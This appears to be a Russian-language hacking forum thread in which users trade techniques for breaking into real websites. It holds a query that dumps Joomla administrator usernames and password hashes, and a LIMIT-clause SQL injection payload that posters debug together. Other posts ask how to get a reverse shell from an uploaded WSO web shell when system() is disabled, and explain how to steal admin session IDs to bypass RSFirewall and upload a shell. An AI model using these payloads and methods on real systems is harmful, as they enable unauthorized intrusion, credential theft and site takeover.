Вопросы по уязвимостям

[Panic]

Ravenous, там many to many:

SELECT concat_ws(0x3a,username,password)
FROM `j6iw1_user_usergroup_map` inner join `j6iw1_users` on `j6iw1_user_usergroup_map`.user_id=`j6iw1_users`.id
WHERE group_id in (6,7,8)
GROUP BY user_id;

где
6 - Manager;
7 - Administrator;
8 - Super Administrator;

[Izz]

Есть ли варианты проэксплуатировать после ORDER by и LIMIT?:

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2011-01-01' AND n.time<'2012-01-01' ORDER by n.time DESC LIMIT injectparam,1000

[spari]

Сообщение от Izz

Есть ли варианты проэксплуатировать после ORDER by и LIMIT?:

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2011-01-01' AND n.time<'2012-01-01' ORDER by n.time DESC LIMIT injectparam,1000

1,1 procedure analyse(0,updatexml(1,concat(0xa,version()),1))#

[Izz]

Сообщение от spari

1,1 procedure analyse(0,updatexml(1,concat(0xa,version()),1))#

Спс за ответ, но у меня не проходит


A Database Error Occurred

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0,updatexml(1,concat(0x3a,version()),1)) -- -,1' at line 1

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2014-01-01' AND n.time<'2015-01-01' ORDER by n.time DESC LIMIT 1,1 procedure analyse (0,updatexml(1,concat(0x3a,version()),1)) -- -,1000

[omen666]

Сообщение от Izz

Спс за ответ, но у меня не проходит


A Database Error Occurred

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0,updatexml(1,concat(0x3a,version()),1)) -- -,1' at line 1

SELECT n.*, DATE_FORMAT(n.time, "%d.%m.%Y") as date FROM `articles` n WHERE n.public=1 AND n.type_id='2' AND n.time>='2014-01-01' AND n.time<'2015-01-01' ORDER by n.time DESC LIMIT 1,1 procedure analyse (0,updatexml(1,concat(0x3a,version()),1)) -- -,1000

попробуйте убрать пробел перед (0,updatexml(1,concat(0x3a,version()),1)) -- -

[QaRTiN]

Ребят,можно ли обойти rsfirewall в джумле?
Стоит backend-password на админку.Есть скуля,но md5-хэш этого пасса не сбрутился.
Возможно ли в куках передать этот хэш или,может быть,в бд где-то хранятся сессии админов?

[smerch]

доброго всем дня, требуется помощь спецов.
залил wso, в Server security information это:

Server software: Apache/2.2.15 (CentOS)
Loaded Apache modules: core, prefork, http_core, mod_so, mod_auth_basic, mod_auth_digest, mod_authn_file, mod_authn_alias, mod_authn_anon, mod_authn_dbm, mod_authn_default, mod_authz_host, mod_authz_user, mod_authz_owner, mod_authz_groupfile, mod_authz_dbm, mod_authz_default, util_ldap, mod_authnz_ldap, mod_include, mod_log_config, mod_logio, mod_env, mod_ext_filter, mod_mime_magic, mod_expires, mod_deflate, mod_headers, mod_usertrack, mod_setenvif, mod_mime, mod_dav, mod_status, mod_autoindex, mod_info, mod_dav_fs, mod_vhost_alias, mod_negotiation, mod_dir, mod_actions, mod_speling, mod_userdir, mod_alias, mod_substitute, mod_rewrite, mod_proxy, mod_proxy_balancer, mod_proxy_ftp, mod_proxy_http, mod_proxy_ajp, mod_proxy_connect, mod_cache, mod_suexec, mod_disk_cache, mod_cgi, mod_version, mod_php5, mod_ispmgr
Disabled PHP Functions: exec,passthru,shell_exec,system,proc_open,popen
Open base dir: /var/www/admin/data:.
cURL support: enabled
Supported databases: MySql (5.1.73)

Readable /etc/passwd: no
Readable /etc/shadow: no

попробовал пару бекконектов, оба юзают system, соответственно не работают =(
в моем случае есть еще возможности получить бекконнект?
Заранее благодарен.

[devv]

smerch: SSI, perl, python пробовали?

[smerch]

консоль даже в wso не работает,

SSI, perl, python

их получится заюзать в таком случае?
PS попробовал 12309 шелл, перла на хосте нет, питона тоже, SSI тоже не заработал =(

[omen666]

Сообщение от QaRTiN

Ребят,можно ли обойти rsfirewall в джумле?
Стоит backend-password на админку.Есть скуля,но md5-хэш этого пасса не сбрутился.
Возможно ли в куках передать этот хэш или,может быть,в бд где-то хранятся сессии админов?

Конечно хранятся и можно авторизироваться под аминов и залить свой шелл . Доставать данные с #__session например так concat_ws(0x3a,username,userid,client_id,session_i d)
кстате группы пользователей вот человек написал по делу